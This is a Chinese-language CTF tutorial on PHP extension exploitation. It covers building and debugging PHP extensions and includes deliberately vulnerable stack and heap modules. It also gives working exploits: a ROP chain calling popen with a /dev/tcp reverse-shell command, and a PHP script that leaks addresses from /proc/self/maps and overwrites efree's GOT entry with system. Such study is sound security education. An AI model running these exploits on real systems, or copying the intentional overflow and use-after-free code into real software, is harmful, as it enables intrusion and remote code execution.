PHP_PWN入门

一、php拓展模块搭建和编写

1.创建模块模板

找到php源码目录

image-20220210174644261

然后使用ext_skel创建一个模板

1
./ext_skel --extname=helloworld

2.编译模块

随后进行编译,跳转到刚刚生成的模块文件夹路径/path_to_php_src/ext/helloworld,然后编译

1
2
/www/server/php/56/bin/phpize
./configure --with-php-config=/www/server/php/56/bin/php-config

这里需要指定一下--with-php-config,选择自己的php-config,当然如果本地的环境变量bin命令下直接有php-config也不用指定了,随后

1
make

这样就可以在当前目录下生成了

image-20220210175900511

其中helloworld.c即为创建的模板代码,但是不知道为什么5.6版本的编译完成后,不生成.so模块文件,可能是版本特性?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
/* helloword extension for PHP */

#ifdef HAVE_CONFIG_H
# include "config.h"
#endif

#include "php.h"
#include "ext/standard/info.h"
#include "php_helloword.h"

/* For compatibility with older PHP versions */
#ifndef ZEND_PARSE_PARAMETERS_NONE
#define ZEND_PARSE_PARAMETERS_NONE() \
ZEND_PARSE_PARAMETERS_START(0, 0) \
ZEND_PARSE_PARAMETERS_END()
#endif

/* {{{ void helloword_test1()
*/
PHP_FUNCTION(helloword_test1)
{
ZEND_PARSE_PARAMETERS_NONE();

php_printf("The extension %s is loaded and working!\r\n", "helloword");
}
/* }}} */

/* {{{ string helloword_test2( [ string $var ] )
*/
PHP_FUNCTION(helloword_test2)
{
char *var = "World";
size_t var_len = sizeof("World") - 1;
zend_string *retval;

ZEND_PARSE_PARAMETERS_START(0, 1)
Z_PARAM_OPTIONAL
Z_PARAM_STRING(var, var_len)
ZEND_PARSE_PARAMETERS_END();

retval = strpprintf(0, "Hello %s", var);

RETURN_STR(retval);
}
/* }}}*/

/* {{{ PHP_RINIT_FUNCTION
*/
PHP_RINIT_FUNCTION(helloword)
{
#if defined(ZTS) && defined(COMPILE_DL_HELLOWORD)
ZEND_TSRMLS_CACHE_UPDATE();
#endif

return SUCCESS;
}
/* }}} */

/* {{{ PHP_MINFO_FUNCTION
*/
PHP_MINFO_FUNCTION(helloword)
{
php_info_print_table_start();
php_info_print_table_header(2, "helloword support", "enabled");
php_info_print_table_end();
}
/* }}} */

/* {{{ arginfo
*/
ZEND_BEGIN_ARG_INFO(arginfo_helloword_test1, 0)
ZEND_END_ARG_INFO()

ZEND_BEGIN_ARG_INFO(arginfo_helloword_test2, 0)
ZEND_ARG_INFO(0, str)
ZEND_END_ARG_INFO()
/* }}} */

/* {{{ helloword_functions[]
*/
static const zend_function_entry helloword_functions[] = {
PHP_FE(helloword_test1, arginfo_helloword_test1)
PHP_FE(helloword_test2, arginfo_helloword_test2)
PHP_FE_END
};
/* }}} */

/* {{{ helloword_module_entry
*/
zend_module_entry helloword_module_entry = {
STANDARD_MODULE_HEADER,
"helloword", /* Extension name */
helloword_functions, /* zend_function_entry */
NULL, /* PHP_MINIT - Module initialization */
NULL, /* PHP_MSHUTDOWN - Module shutdown */
PHP_RINIT(helloword), /* PHP_RINIT - Request initialization */
NULL, /* PHP_RSHUTDOWN - Request shutdown */
PHP_MINFO(helloword), /* PHP_MINFO - Module info */
PHP_HELLOWORD_VERSION, /* Version */
STANDARD_MODULE_PROPERTIES
};
/* }}} */

#ifdef COMPILE_DL_HELLOWORD
# ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
# endif
ZEND_GET_MODULE(helloword)
#endif

🔺注:不同版本创建模板

需要注意的是,在php7.3以上,ext_skel这个shell变成了ext_skel.php,所以我们使用如下来创建

1
2
3
4
5
/www/server/php/73/bin/php ./ext_skel.php --ext helloword
cd helloworld
/www/server/php/73/bin/phpize
./configure --prefix=/www/server/php/73/bin/php --with-php-config=/www/server/php/73/bin/php-config
make

🔺注:默认的保护措施

同时需要注意的是,在configure设置完之后,保护措施也需要设置一下,默认编译的保护如下:

image-20220212124731449

可以看到除了RELRO没有加强保护之外,其他都加入了,我们在Makefile中可以进行相关的保护措施消除

这里试了很多遍,貌似只能关掉Canary保护和FORTIFY保护

image-20220212125859899

3.加载模块

方法一:

直接make install,然后在对应的php.ini中添加extension=helloword.so

方法二:

复制modules下的helloworld.so模块到对应的php扩展目录

1
cp ./modules/helloword.so /www/server/php/73/lib/php/extensions/no-debug-non-zts-20180731/

同样也得在php.ini中添加extension

之后使用模板中函数测试即可

1
2
3
<?php
helloword_test1();
?>

如下即可成功

这个php拓展模块其实跟linux内核有点像

🔺注:php.ini的设置

需要注意的是php.ini(php-fpm的php.ini)和php-cli.ini(php-cli的php.ini)的区别设置

对于php-fpm的php.ini,只会在web服务器上生效,而对于php-cli的php.ini才是在命令行中生效,所以如果我们需要使用命令行直接调试php,那么就需要修改php-cli中的php.ini才行的。以下是用宝塔linux搭建的Php环境,如果在命令行中生效则需要修改Php-cli.ini才行的。

image-20220211160511335

4.编写函数

以下是php7及以上的语法,之前版本的会有所不同

(1)PHP_FUNCTION

①框架编写

PHP_FUNCTION 修饰的函数相当于直接的定义函数,所以我们定义函数时,需要用该修饰符来修饰,格式如下

1
2
3
4
5
6
PHP_FUNCTION(funcName)
{
ZEND_PARSE_PARAMETERS_NONE();

php_printf("The extension %s is loaded and working!\r\n", "helloword");
}

至于这个ZEND_PARSE_PARAMETERS_NONE();代表定义的该函数无参数传递。

②参数传递

而当我们需要给函数传递参数时,就需要用到ZEND_PARSE_PARAMETERS_START来设置函数的参数个数

1
2
3
4
5
6
7
8
9
10
11
12
13
char *var = "World";
size_t var_len = sizeof("World") - 1;
ZEND_PARSE_PARAMETERS_START(0, 1)
Z_PARAM_OPTIONAL
Z_PARAM_STRING(var, var_len)
ZEND_PARSE_PARAMETERS_END();

//老版本写法:
char *var = NULL;
size_t var_len;
if (zend_parse_parameters(ZEND_NUM_ARGS(), "s", &var, &var_len) == FAILURE) {
return;
}

上述的ZEND_PARSE_PARAMETERS_START(0, 1)即代表传入参数个数为0~1,可变个数,如果个数不符合,则会触发异常。同样也可以设置为1~12~4等等之类的。

Z_PARAM_STRING代表一种参数类型,即char*,传入的参数给到var,长度给到var_len,还有的其他类型如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
specifier    Fast ZPP API macro    args
| Z_PARAM_OPTIONAL
a Z_PARAM_ARRAY(dest) dest - zval*
A Z_PARAM_ARRAY_OR_OBJECT(dest) dest - zval*
b Z_PARAM_BOOL(dest) dest - zend_bool
C Z_PARAM_CLASS(dest) dest - zend_class_entry*
d Z_PARAM_DOUBLE(dest) dest - double
f Z_PARAM_FUNC(fci, fcc) fci - zend_fcall_info, fcc - zend_fcall_info_cache
h Z_PARAM_ARRAY_HT(dest) dest - HashTable*
H Z_PARAM_ARRAY_OR_OBJECT_HT(dest) dest - HashTable*
l Z_PARAM_LONG(dest) dest - long
L Z_PARAM_STRICT_LONG(dest) dest - long
o Z_PARAM_OBJECT(dest) dest - zval*
O Z_PARAM_OBJECT_OF_CLASS(dest, ce) dest - zval*
p Z_PARAM_PATH(dest, dest_len) dest - char*, dest_len - int
P Z_PARAM_PATH_STR(dest) dest - zend_string*
r Z_PARAM_RESOURCE(dest) dest - zval*
s Z_PARAM_STRING(dest, dest_len) dest - char*, dest_len - int
S Z_PARAM_STR(dest) dest - zend_string*
z Z_PARAM_ZVAL(dest) dest - zval*
Z_PARAM_ZVAL_DEREF(dest) dest - zval*
+ Z_PARAM_VARIADIC('+', dest, num) dest - zval*, num int
* Z_PARAM_VARIADIC('*', dest, num) dest - zval*, num int

参照:AntCTF ^ D3CTF 2021 hackphp - 安全客,安全资讯平台 (anquanke.com)

③参数信息定义

1
2
3
4
5
6
ZEND_BEGIN_ARG_INFO(arginfo_helloword_test1, 0)
ZEND_END_ARG_INFO()

ZEND_BEGIN_ARG_INFO(arginfo_helloword_test2, 0)
ZEND_ARG_INFO(0, str)
ZEND_END_ARG_INFO()

这里就在ZEND_BEGIN_ARG_INFO中定义了参数arginfo_helloword_test1和arginfo_helloword_test2,然后在ZEND_ARG_INFO中设置参数名称,在ZEND_ARG_INFO中第一个参数代表是否为引用,第二个参数设置名称,比如这里就设置为str。这个参数信息的定义在之后的函数注册中需要用到。

参照:Linux下PHP7扩展开发入门教程3:编写第一个函数 | 毛英东的个人博客 (maoyingdong.com)

(2)函数注册

和内核类似,需要将我们编写的函数进行注册

1
2
3
4
5
static const zend_function_entry helloword_functions[] = {
PHP_FE(helloword_test1, arginfo_helloword_test1)
PHP_FE(helloword_test2, arginfo_helloword_test2)
PHP_FE_END
};

如上,即使用PHP_FE来注册函数,需要传入函数名称和函数参数定义信息。

(3)模块注册

最后整个模块使用zend_module_entry进行模块注册

1
2
3
4
5
6
7
8
9
10
11
12
zend_module_entry helloword_module_entry = {
STANDARD_MODULE_HEADER,
"helloword", /* Extension name */
helloword_functions, /* zend_function_entry */
NULL, /* PHP_MINIT - Module initialization */
NULL, /* PHP_MSHUTDOWN - Module shutdown */
PHP_RINIT(helloword), /* PHP_RINIT - Request initialization */
NULL, /* PHP_RSHUTDOWN - Request shutdown */
PHP_MINFO(helloword), /* PHP_MINFO - Module info */
PHP_HELLOWORD_VERSION, /* Version */
STANDARD_MODULE_PROPERTIES
};

二、调试php拓展

1.查找模块

查找php拓展模块

1
2
php -i | grep extensions
php -i | grep -i extension_dir

2.开始调试

如下,调试php程序,然后跑起来,使得加载进入拓展模块,ctrl+c中断后即可对特定函数下断点,然后再跑test.php,该php调用需要调试的拓展模块中的函数,继续运行即可断点。

1
2
3
4
5
6
gdb /www/server/php/73/bin/php
r
(ctrl+c中断)
b zif_funcName
r test.php
c

这里可以看到我们使用拓展模块注册的函数最终都会以zif_整个前缀进行修饰,所以当做CTF题时,直接搜索zif从中寻找函数进行解析即可。

如下

image-20220211111702925

🔺测试用例

(1)栈模块

传入任意长度的字符串,拷贝给data,导致栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
/* my_stack extension for PHP */

#ifdef HAVE_CONFIG_H
# include "config.h"
#endif

#include "php.h"
#include "ext/standard/info.h"
#include "php_my_stack.h"

/* For compatibility with older PHP versions */
#ifndef ZEND_PARSE_PARAMETERS_NONE
#define ZEND_PARSE_PARAMETERS_NONE() \
ZEND_PARSE_PARAMETERS_START(0, 0) \
ZEND_PARSE_PARAMETERS_END()
#endif



PHP_FUNCTION(my_stack_gift)
{
char gift_data[0x10];
zend_string *retval;
ZEND_PARSE_PARAMETERS_NONE();
php_printf("PHP_Stack Gift function!---000\n");
retval = strpprintf(0, "Gift_Stack:0x%lx\nGift_Libc:0x%lx\nGift_ELF:0x%lx\n",&gift_data,&printf,&zif_my_stack_gift);
RETURN_STR(retval);
}


PHP_FUNCTION(my_stack_func)
{

char* buf = "stackTest";
size_t buf_len = sizeof("stackTest") - 1;
ZEND_PARSE_PARAMETERS_START(1,1)
Z_PARAM_STRING(buf, buf_len)
ZEND_PARSE_PARAMETERS_END();


char data[0x10];
php_printf("Welcome to my Stack!\n");
php_printf(" --PIG-007\n");

php_printf("Gift_Stack:0x%lx\n",&data);
php_printf("Gift_Libc:0x%lx\n",&printf);
php_printf("Gift_ELF:0x%lx\n",&zif_my_stack_func);

memcpy(data,buf,buf_len);
php_printf("Over!\n");
}


/* {{{ PHP_RINIT_FUNCTION
*/
PHP_RINIT_FUNCTION(my_stack)
{
#if defined(ZTS) && defined(COMPILE_DL_MY_STACK)
ZEND_TSRMLS_CACHE_UPDATE();
#endif

return SUCCESS;
}
/* }}} */

/* {{{ PHP_MINFO_FUNCTION
*/
PHP_MINFO_FUNCTION(my_stack)
{
php_info_print_table_start();
php_info_print_table_header(2, "my_stack support", "enabled");
php_info_print_table_end();
}
/* }}} */

/* {{{ arginfo
*/

ZEND_BEGIN_ARG_INFO(arginfo_my_stack_gift, 0)
ZEND_END_ARG_INFO()

ZEND_BEGIN_ARG_INFO(arginfo_my_stack_func, 0)
ZEND_ARG_INFO(0, data)
ZEND_END_ARG_INFO()
/* }}} */

/* {{{ my_stack_functions[]
*/
static const zend_function_entry my_stack_functions[] = {
PHP_FE(my_stack_gift, arginfo_my_stack_gift)
PHP_FE(my_stack_func, arginfo_my_stack_func)
PHP_FE_END
};
/* }}} */

/* {{{ my_stack_module_entry
*/
zend_module_entry my_stack_module_entry = {
STANDARD_MODULE_HEADER,
"my_stack", /* Extension name */
my_stack_functions, /* zend_function_entry */
NULL, /* PHP_MINIT - Module initialization */
NULL, /* PHP_MSHUTDOWN - Module shutdown */
PHP_RINIT(my_stack), /* PHP_RINIT - Request initialization */
NULL, /* PHP_RSHUTDOWN - Request shutdown */
PHP_MINFO(my_stack), /* PHP_MINFO - Module info */
PHP_MY_STACK_VERSION, /* Version */
STANDARD_MODULE_PROPERTIES
};
/* }}} */

#ifdef COMPILE_DL_MY_STACK
# ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
# endif
ZEND_GET_MODULE(my_stack)
#endif

(2)堆模块

UAF,溢出,doubleFree等漏洞

测试代码,如下即为用php7.3编译的代码,实现四个函数,增删改查

1
2
3
4
my_heap_addFunc(18);
my_heap_delFunc(0);
my_heap_editFunc(0,'aaa');
my_heap_getFunc(0);

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
/* my_heap extension for PHP */

#ifdef HAVE_CONFIG_H
# include "config.h"
#endif

#include "php.h"
#include "ext/standard/info.h"
#include "php_my_heap.h"

/* For compatibility with older PHP versions */
#ifndef ZEND_PARSE_PARAMETERS_NONE
#define ZEND_PARSE_PARAMETERS_NONE() \
ZEND_PARSE_PARAMETERS_START(0, 0) \
ZEND_PARSE_PARAMETERS_END()
#endif



static char* notelist[1000];
static int count;


PHP_FUNCTION(my_heap_gift)
{
char data[0x10];
zend_string *retval;
ZEND_PARSE_PARAMETERS_NONE();
php_printf("PHP_HEAP Gift function!---000\n");
retval = strpprintf(0, "Gift_Stack:0x%lx\nGift_Libc:0x%lx\nGift_ELF:0x%lx\n",&data,&printf,&zif_my_heap_gift);
RETURN_STR(retval);
}




PHP_FUNCTION(my_heap_addFunc)
{
long size = 10;
char* chunk = NULL;
//zend_string *retval;
php_printf("PHP_HEAP Add function!---001\n");

ZEND_PARSE_PARAMETERS_START(1, 1)
Z_PARAM_LONG(size)
ZEND_PARSE_PARAMETERS_END();
chunk = _emalloc(size);
php_printf("chunk_addr:0x%lx\n", chunk);
//retval = strpprintf(0, "chunk_addr:0x%lx", chunk);
if (!chunk)
{
php_printf("Alloca Error\n");
return 0;
}

//HELLO_G(greeting) ++;
notelist[count] = chunk;
chunk = NULL;
count ++;
}


PHP_FUNCTION(my_heap_delFunc)
{
long idx = 0;
php_printf("PHP_HEAP Free function!---002\n");

ZEND_PARSE_PARAMETERS_START(1, 1)
Z_PARAM_LONG(idx)
ZEND_PARSE_PARAMETERS_END();

if (notelist[idx])
{
_efree(notelist[idx]);
//notelist[noteChunk->idx] = NULL;
php_printf("Free Success!\n");
}
else
{
php_printf("You can't free it!There is no chunk!\n");
}
}

PHP_FUNCTION(my_heap_editFunc)
{
long idx = 0;
char* data = "editTest";
size_t data_len = sizeof("editTest") - 1;
php_printf("PHP_HEAP Edit function!---003\n");

ZEND_PARSE_PARAMETERS_START(2,2)
Z_PARAM_LONG(idx)
Z_PARAM_STRING(data, data_len)
ZEND_PARSE_PARAMETERS_END();

if (notelist[idx])
{
memcpy(notelist[idx],data,data_len);
php_printf("Edit Success!\n");
}
else
{
php_printf("You can't free it!There is no chunk!\n");
}
}


PHP_FUNCTION(my_heap_getFunc)
{
long idx = 0;
zend_string *retval;
ZEND_PARSE_PARAMETERS_START(1, 1)
Z_PARAM_LONG(idx)
ZEND_PARSE_PARAMETERS_END();

php_printf("PHP_HEAP Show function!---004\n");
if(notelist[idx]){
retval = strpprintf(0, "Content:%s\n",notelist[idx]);
php_printf("Content:%s\n",notelist[idx]);
php_printf("Show Success!\n");
RETURN_STR(retval);
}

}


/* }}}*/



/* {{{ PHP_RINIT_FUNCTION
*/
PHP_RINIT_FUNCTION(my_heap)
{
#if defined(ZTS) && defined(COMPILE_DL_MY_HEAP)
ZEND_TSRMLS_CACHE_UPDATE();
#endif

return SUCCESS;
}
/* }}} */

/* {{{ PHP_MINFO_FUNCTION
*/
PHP_MINFO_FUNCTION(my_heap)
{
php_info_print_table_start();
php_info_print_table_header(2, "my_heap support", "enabled");
php_info_print_table_end();
}
/* }}} */

/* {{{ arginfo
*/
ZEND_BEGIN_ARG_INFO(arginfo_my_heap_gift, 0)
ZEND_END_ARG_INFO()


ZEND_BEGIN_ARG_INFO(arginfo_my_heap_addFunc, 0)
ZEND_ARG_INFO(0, addSize)
ZEND_END_ARG_INFO()


ZEND_BEGIN_ARG_INFO(arginfo_my_heap_editFunc, 0)
ZEND_ARG_INFO(0, editIdx)
ZEND_ARG_INFO(0, editData)
ZEND_END_ARG_INFO()


ZEND_BEGIN_ARG_INFO(arginfo_my_heap_delFunc, 0)
ZEND_ARG_INFO(0, delIdx)
ZEND_END_ARG_INFO()

ZEND_BEGIN_ARG_INFO(arginfo_my_heap_getFunc, 0)
ZEND_ARG_INFO(0, showIdx)
ZEND_END_ARG_INFO()

/* }}} */

/* {{{ my_heap_functions[]
*/
static const zend_function_entry my_heap_functions[] = {
PHP_FE(my_heap_gift, arginfo_my_heap_gift)
PHP_FE(my_heap_addFunc, arginfo_my_heap_addFunc)
PHP_FE(my_heap_delFunc, arginfo_my_heap_delFunc)
PHP_FE(my_heap_editFunc, arginfo_my_heap_editFunc)
PHP_FE(my_heap_getFunc, arginfo_my_heap_getFunc)
PHP_FE_END
};
/* }}} */

/* {{{ my_heap_module_entry
*/
zend_module_entry my_heap_module_entry = {
STANDARD_MODULE_HEADER,
"my_heap", /* Extension name */
my_heap_functions, /* zend_function_entry */
NULL, /* PHP_MINIT - Module initialization */
NULL, /* PHP_MSHUTDOWN - Module shutdown */
PHP_RINIT(my_heap), /* PHP_RINIT - Request initialization */
NULL, /* PHP_RSHUTDOWN - Request shutdown */
PHP_MINFO(my_heap), /* PHP_MINFO - Module info */
PHP_MY_HEAP_VERSION, /* Version */
STANDARD_MODULE_PROPERTIES
};
/* }}} */

#ifdef COMPILE_DL_MY_HEAP
# ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
# endif
ZEND_GET_MODULE(my_heap)
#endif

三、漏洞利用

一般而言,php_pwn都先看看php.ini,哪些函数被禁了,搜索disable_functions

image-20220212202639753

当没有禁止include函数、ob_start函数、ob_get_contents函数、ob_end_flush函数时,就可以来调用从而直接获取地址。

1.EXP模板

先来几个常用的函数模板,用来交互

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php

function u64($val) {
$s = bin2hex($val);
$len = strlen($s);
$ans = "0x";
for ($i=$len-2;$i>=0;$i-=2) {
$ans = $ans . substr($s,$i,2);
}
return intval($ans,16);
}


function p64($i, $x = 8) {
$re = "";
for($j = 0;$j < $x;$j++) {
$re .= chr($i & 0xff);
$i >>= 8;
}
return $re;
}


//在可以调用include函数、ob_start函数、ob_get_contents函数、ob_end_flush函数时
//一般用在可以直接写php代码的时候
function leakaddr($buffer){
global $libc,$mbase;
$p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/lib\/x86_64-linux-gnu\/libc-2.27.so/';
//$p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/php\/20170718\/hackphp.so/';
$p_local = '/([0-9a-f]+)\-[0-9a-f]+ .* \/www\/server\/php\/73\/lib\/php\/extensions\/no-debug-non-zts-20180731\/my_heap.so/';
preg_match_all($p, $buffer, $libc);
//preg_match_all($p1, $buffer, $mbase);
preg_match_all($p_local, $buffer, $mbase);
return "";
}
ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$libc_base=hexdec($libc[1][0]);
$mod_base=hexdec($mbase[1][0]);



//字符串操作
$pad_str = str_pad(string_var,length,pad_string,pad_type);//填充,(pad_type参数可选)
$sub_str = substr(string,idx,length);//获取子字符串
$str = str_repeat('B', (0x100));
//获取格式化输出字符串
echo sprintf("0x%lx",$Libc_addr);
//字符串拼接
$str = $a.$b;
//单个字符
$str = "\x00";//必须是""双引号的,不能是''单引号

?>

并且以下给出的exp都是基于上面的测试用例

2.格式化字符串

3.栈溢出

一般都能够通过读取/proc/self/maps来泄露地址

没有canary的时候,单纯栈溢出的时候,一般有以下几种方法

(1)利用poepn反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

context.arch = "amd64"

def create_php(buf):
with open("pwn.php", 'w+') as pf:
pf.write('''<?php
my_stack_func(urldecode("%s"));
?>'''%urlencode(buf))

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")


#CLI:
stack_addr = 0x7fffffffa1c0

#GDB:
#stack_addr = 0x7fffffffa1a0

#WEB:
#stack_addr = 0x7fffffffbee0

ELF_base = 0x7ffff12efd2a - 0xd2a

stack_offset = 0xb0 + 0x8
Libc_base = 0x7ffff47daf70 - libc.sym['printf']

pop_rdi_ret = Libc_base + 0x00000000000215bf
pop_rsi_ret = Libc_base + 0x0000000000023eea
popen_addr = Libc_base + libc.sym['popen']

command = '/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"'


layout = [
'a'*stack_offset,
pop_rdi_ret,
stack_addr+stack_offset+0x30+0x10,
pop_rsi_ret,
stack_addr+stack_offset+0x28,
popen_addr,
'r'+'\x00'*7,
'a'*0x10,
command.ljust(0x60, '\x00'),
"a"*0x8
]
buf = flat(layout)

create_php(buf)

以上代码生成之后,直接php pwn.php运行或者调试即可。

需要注意的是,WEB和CLI的栈地址有点不太一样,另外在本地运行的时候,直接运行php和调试php也有点不太一样

image-20220212135202658

image-20220212134318923

参照WEBPWN入门级调试讲解 - 安全客,安全资讯平台 (anquanke.com)

例题一:2020De1CTF-mixture

参考

WebPwn:php-pwn学习 - 安全客,安全资讯平台 (anquanke.com)

De1CTF 2020 Web+Pwn mixture | Clang裁缝店 (xuanxuanblingbling.github.io)

(2)rop链构造调用mprotect函数执行shellcode

4.堆方面

堆机制:

首先简单介绍一下内存机制,使用_emalloc和_efree进行内存分配和释放,类似不加任何保护的slub/slab机制,存在FD指针可以实现劫持之后任意分配,并且分配的大小规格如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//宏定义:第一列表示序号(称之为bin_num),第二列表示每个small内存的大小(字节数);
//第四列表示每次获取多少个page;第三列表示将page分割为多少个大小为第一列的small内存;
#define ZEND_MM_BINS_INFO(_, x, y) \
_( 0, 8, 512, 1, x, y) \
_( 1, 16, 256, 1, x, y) \
_( 2, 24, 170, 1, x, y) \
_( 3, 32, 128, 1, x, y) \
_( 4, 40, 102, 1, x, y) \
_( 5, 48, 85, 1, x, y) \
_( 6, 56, 73, 1, x, y) \
_( 7, 64, 64, 1, x, y) \
_( 8, 80, 51, 1, x, y) \
_( 9, 96, 42, 1, x, y) \
_(10, 112, 36, 1, x, y) \
_(11, 128, 32, 1, x, y) \
_(12, 160, 25, 1, x, y) \
_(13, 192, 21, 1, x, y) \
_(14, 224, 18, 1, x, y) \
_(15, 256, 16, 1, x, y) \
_(16, 320, 64, 5, x, y) \
_(17, 384, 32, 3, x, y) \
_(18, 448, 9, 1, x, y) \
_(19, 512, 8, 1, x, y) \
_(20, 640, 32, 5, x, y) \
_(21, 768, 16, 3, x, y) \
_(22, 896, 9, 2, x, y) \
_(23, 1024, 8, 2, x, y) \
_(24, 1280, 16, 5, x, y) \
_(25, 1536, 8, 3, x, y) \
_(26, 1792, 16, 7, x, y) \
_(27, 2048, 8, 4, x, y) \
_(28, 2560, 8, 5, x, y) \
_(29, 3072, 4, 3, x, y)

#endif /* ZEND_ALLOC_SIZES_H */

当超过3K时,如下分配

huge内存:针对大于2M-4K的分配请求,直接调用mmap分配;

large内存:针对小于2M-4K,大于3K的分配请求,在chunk上查找满足条件的若干个连续page;

参考:【PHP7源码分析】PHP内存管理 - SegmentFault 思否

并且不存在我们在glibc中常见的hook函数,所以通常getshell的做法一般两种:

劫持efree_got或者劫持某些结构体的函数指针

(1)劫持efree_got

不过这个需要.so拓展模块不能为Full RELRO,得能修改其中的got表,然后还得在该拓展模块中有调用_efree函数才行,相当于就是ret2Got。得泄露该.so拓展模块的地址才行。

自定义题目的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php

function u64($val) {
$s = bin2hex($val);
$len = strlen($s);
$ans = "0x";
for ($i=$len-2;$i>=0;$i-=2) {
$ans = $ans . substr($s,$i,2);
}
return intval($ans,16);
}


function p64($i, $x = 8) {
$re = "";
for($j = 0;$j < $x;$j++) {
$re .= chr($i & 0xff);
$i >>= 8;
}
return $re;
}

function leakaddr($buffer){
global $libc,$mbase;
$p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/lib\/x86_64-linux-gnu\/libc-2.27.so/';
//$p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/php\/20170718\/hackphp.so/';
$p_local = '/([0-9a-f]+)\-[0-9a-f]+ .* \/www\/server\/php\/73\/lib\/php\/extensions\/no-debug-non-zts-20180731\/my_heap.so/';
preg_match_all($p, $buffer, $libc);
//preg_match_all($p1, $buffer, $mbase);
preg_match_all($p_local, $buffer, $mbase);
return "";
}

$_efree_got = 0x202068;
$system_addr = 0x4f550;


ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$libc_base=hexdec($libc[1][0]);
$mod_base=hexdec($mbase[1][0]);

my_heap_addFunc(0x10);
my_heap_delFunc(0);
my_heap_editFunc(0,p64($mod_base+$_efree_got));
my_heap_addFunc(0x10);
my_heap_editFunc(1,"cat flag\x00");
my_heap_addFunc(0x10);
my_heap_editFunc(2,p64($libc_base+$system_addr));
my_heap_delFunc(1);
?>

(2)劫持get_method函数指针

简单来说,就是劫持函数指针zend_object->zval->zend_object_handlers->get_method

原理如下:

①zend_object

当定义声明一个class对象时

1
2
3
4
5
6
class Lucky{
public $a0, $a1;
}

$lucky = new Lucky();
$lucky->a1 = function ($x) { };

当在php中声明Lucky这个class对象时,会自动声明一个对应大小zend_object结构

1
2
3
4
5
6
7
8
9
//7.3/src/Zend/zend_types.h 大小56
struct _zend_object {
zend_refcounted_h gc;
uint32_t handle; // TODO: may be removed ???
zend_class_entry *ce;
const zend_object_handlers *handlers;
HashTable *properties;
zval properties_table[1];
};

正常来说,创建class对象都会有成员,但是在php中其实也可以声明没有成员的class对象,那么此时该class对应的zend_object的大小即为56-8=48。所以class对象中的成员越多,其zend_object结构的大小就越大。

②zval

而每一个成员在内存中实际反应的就是zval结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//7.3/src/Zend/zend_types.h  大小0x10
struct _zval_struct {
zend_value value; /* value */
union {
struct {
ZEND_ENDIAN_LOHI_3(
zend_uchar type, /* active type */
zend_uchar type_flags,
union {
uint16_t call_info; /* call info for EX(This) */
uint16_t extra; /* not further specified */
} u)
} v;
uint32_t type_info;
} u1;
union {
uint32_t next; /* hash collision chain */
uint32_t cache_slot; /* cache slot (for RECV_INIT) */
uint32_t opline_num; /* opline number (for FAST_CALL) */
uint32_t lineno; /* line number (for ast nodes) */
uint32_t num_args; /* arguments number for EX(This) */
uint32_t fe_pos; /* foreach position */
uint32_t fe_iter_idx; /* foreach iterator index */
uint32_t access_flags; /* class constant access flags */
uint32_t property_guard; /* single property guard */
uint32_t constant_flags; /* constant flags */
uint32_t extra; /* not further specified */
} u2;
};

所以class对象的zend_object结构的大小公式为

1
48 + amount_of_member*0x10

